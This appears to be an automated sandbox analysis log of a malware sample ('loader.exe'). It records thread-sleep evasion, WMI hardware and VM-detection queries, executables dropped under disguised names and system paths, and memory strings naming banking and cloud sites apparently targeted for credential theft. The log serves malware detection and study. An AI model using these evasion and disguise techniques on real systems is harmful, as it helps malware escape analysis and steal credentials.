Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 593625	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 593328	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 300000	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 592407	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 592094	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 591844	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 591577	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 591297	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 591000	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 590438	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 590203	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 589891	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 589516	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 589233	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 588907	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 588453	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 588061	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 587141	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 586719	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 586313	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 586016	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 585719	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 585453	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 585091	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 584762	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 583985	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 583672	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 583424	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 583297	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 583187	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 583062	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 582953	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 582844	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 582732	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 582625	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 582516	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 582406	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 582297	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 582184	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 582078	Jump to behavior
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Recovery\conhost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Thread delayed: delay time: 922337203685477
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Recovery\conhost.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Users\user\Desktop\loader.exe	Window / User API: threadDelayed 639	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Window / User API: threadDelayed 6840	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Window / User API: threadDelayed 2705	Jump to behavior

Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\ZPhRdffT.log	Jump to dropped file
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\PHEbWhMM.log	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Dropped PE file which has not been started: C:\Windows\System32\SecurityHealthSystray.exe	Jump to dropped file
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\SSuSBQke.log	Jump to dropped file
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\OTzTkTQO.log	Jump to dropped file
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\pOvooSqL.log	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Jump to dropped file
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\BLdnhdFQ.log	Jump to dropped file
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\kmFpzVgz.log	Jump to dropped file
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\JgiUHXBa.log	Jump to dropped file
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\XCTiUwVw.log	Jump to dropped file
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\keVXUmFt.log	Jump to dropped file

Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe TID: 2264	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe TID: 4900	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe TID: 1212	Thread sleep time: -7378697629483816s >= -30000s	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe TID: 1212	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe TID: 1212	Thread sleep time: -599890s >= -30000s	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe TID: 1212	Thread sleep time: -599703s >= -30000s	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe TID: 1212	Thread sleep time: -599500s >= -30000s	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe TID: 6268	Thread sleep time: -3600000s >= -30000s	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe TID: 1212	Thread sleep time: -599094s >= -30000s	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe TID: 1212	Thread sleep time: -598407s >= -30000s	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe TID: 1212	Thread sleep time: -598203s >= -30000s	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe TID: 1212	Thread sleep time: -597844s >= -30000s	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe TID: 1212	Thread sleep time: -597485s >= -30000s	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe TID: 1212	Thread sleep time: -597266s >= -30000s	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe TID: 1212	Thread sleep time: -597138s >= -30000s	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe TID: 1212	Thread sleep time: -596875s >= -30000s	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe TID: 1212	Thread sleep time: -596531s >= -30000s	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe TID: 1212	Thread sleep time: -595344s >= -30000s	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe TID: 1212	Thread sleep time: -595047s >= -30000s	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe TID: 1212	Thread sleep time: -594766s >= -30000s	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe TID: 1212	Thread sleep time: -594469s >= -30000s	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe TID: 1212	Thread sleep time: -594110s >= -30000s	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe TID: 1212	Thread sleep time: -593844s >= -30000s	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe TID: 1212	Thread sleep time: -593625s >= -30000s	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe TID: 1212	Thread sleep time: -593328s >= -30000s	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe TID: 6268	Thread sleep time: -300000s >= -30000s	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe TID: 1212	Thread sleep time: -592407s >= -30000s	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe TID: 1212	Thread sleep time: -592094s >= -30000s	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe TID: 1212	Thread sleep time: -591844s >= -30000s	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe TID: 1212	Thread sleep time: -591577s >= -30000s	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe TID: 1212	Thread sleep time: -591297s >= -30000s	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe TID: 1212	Thread sleep time: -591000s >= -30000s	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe TID: 1212	Thread sleep time: -590438s >= -30000s	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe TID: 1212	Thread sleep time: -590203s >= -30000s	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe TID: 1212	Thread sleep time: -589891s >= -30000s	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe TID: 1212	Thread sleep time: -589516s >= -30000s	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe TID: 1212	Thread sleep time: -589233s >= -30000s	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe TID: 1212	Thread sleep time: -588907s >= -30000s	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe TID: 1212	Thread sleep time: -588453s >= -30000s	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe TID: 1212	Thread sleep time: -588061s >= -30000s	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe TID: 1212	Thread sleep time: -587141s >= -30000s	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe TID: 1212	Thread sleep time: -586719s >= -30000s	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe TID: 1212	Thread sleep time: -586313s >= -30000s	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe TID: 1212	Thread sleep time: -586016s >= -30000s	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe TID: 1212	Thread sleep time: -585719s >= -30000s	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe TID: 1212	Thread sleep time: -585453s >= -30000s	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe TID: 1212	Thread sleep time: -585091s >= -30000s	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe TID: 1212	Thread sleep time: -584762s >= -30000s	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe TID: 1212	Thread sleep time: -583985s >= -30000s	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe TID: 1212	Thread sleep time: -583672s >= -30000s	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe TID: 1212	Thread sleep time: -583424s >= -30000s	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe TID: 1212	Thread sleep time: -583297s >= -30000s	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe TID: 1212	Thread sleep time: -583187s >= -30000s	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe TID: 1212	Thread sleep time: -583062s >= -30000s	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe TID: 1212	Thread sleep time: -582953s >= -30000s	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe TID: 1212	Thread sleep time: -582844s >= -30000s	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe TID: 1212	Thread sleep time: -582732s >= -30000s	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe TID: 1212	Thread sleep time: -582625s >= -30000s	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe TID: 1212	Thread sleep time: -582516s >= -30000s	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe TID: 1212	Thread sleep time: -582406s >= -30000s	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe TID: 1212	Thread sleep time: -582297s >= -30000s	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe TID: 1212	Thread sleep time: -582184s >= -30000s	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe TID: 1212	Thread sleep time: -582078s >= -30000s	Jump to behavior
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe TID: 948	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Recovery\conhost.exe TID: 3796	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe TID: 3212	Thread sleep time: -922337203685477s >= -30000s
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe TID: 3908	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe TID: 5648	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Recovery\conhost.exe TID: 7008	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_BaseBoard
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_ComputerSystem

Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Last function: Thread delayed

Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Recovery\conhost.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Recovery\conhost.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\loader.exe

Code function: 0_2_0063A69B FindFirstFileW,FindFirstFileW,

0_2_0063A69B

Source: C:\Users\user\Desktop\loader.exe

Code function: 0_2_04FF6859 NtQueryInformationProcess,GetSystemInfo,

0_2_04FF6859

Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 599890	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 599703	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 599500	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 3600000	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 599094	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 598407	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 598203	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 597844	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 597485	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 597266	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 597138	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 596875	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 596531	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 595344	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 595047	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 594766	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 594469	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 594110	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 593844	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 593625	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 593328	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 300000	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 592407	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 592094	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 591844	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 591577	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 591297	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 591000	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 590438	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 590203	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 589891	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 589516	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 589233	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 588907	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 588453	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 588061	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 587141	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 586719	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 586313	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 586016	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 585719	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 585453	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 585091	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 584762	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 583985	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 583672	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 583424	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 583297	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 583187	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 583062	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 582953	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 582844	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 582732	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 582625	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 582516	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 582406	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 582297	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 582184	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Thread delayed: delay time: 582078	Jump to behavior
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Recovery\conhost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Thread delayed: delay time: 922337203685477
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Recovery\conhost.exe	Thread delayed: delay time: 922337203685477

Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior

Source: OvRN5nW0jy.17.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: loader.exe, 00000000.00000003.2180344314.000000000311F000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}9R
Source: OvRN5nW0jy.17.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: OvRN5nW0jy.17.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: OvRN5nW0jy.17.dr	Binary or memory string: discord.comVMware20,11696487552f
Source: OvRN5nW0jy.17.dr	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: OvRN5nW0jy.17.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: OvRN5nW0jy.17.dr	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: OvRN5nW0jy.17.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: OvRN5nW0jy.17.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: OvRN5nW0jy.17.dr	Binary or memory string: global block list test formVMware20,11696487552
Source: OvRN5nW0jy.17.dr	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: loader.exe, 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Uhgfsd
Source: loader.exe, 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: &VBoxService.exe
Source: OvRN5nW0jy.17.dr	Binary or memory string: AMC password management pageVMware20,11696487552
Source: w32tm.exe, 00000010.00000002.2402978545.00000259BE899000.00000004.00000020.00020000.00000000.sdmp, RuntimeBroker.exe, 00000011.00000002.3518599961.000000001D096000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: OvRN5nW0jy.17.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: OvRN5nW0jy.17.dr	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: OvRN5nW0jy.17.dr	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: OvRN5nW0jy.17.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: OvRN5nW0jy.17.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: wscript.exe, 00000002.00000003.2286112054.0000000003412000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\w
Source: loader.exe, 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: VBoxService.exe
Source: OvRN5nW0jy.17.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: OvRN5nW0jy.17.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: loader.exe, loader.exe, 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: ~VirtualMachineTypes
Source: OvRN5nW0jy.17.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
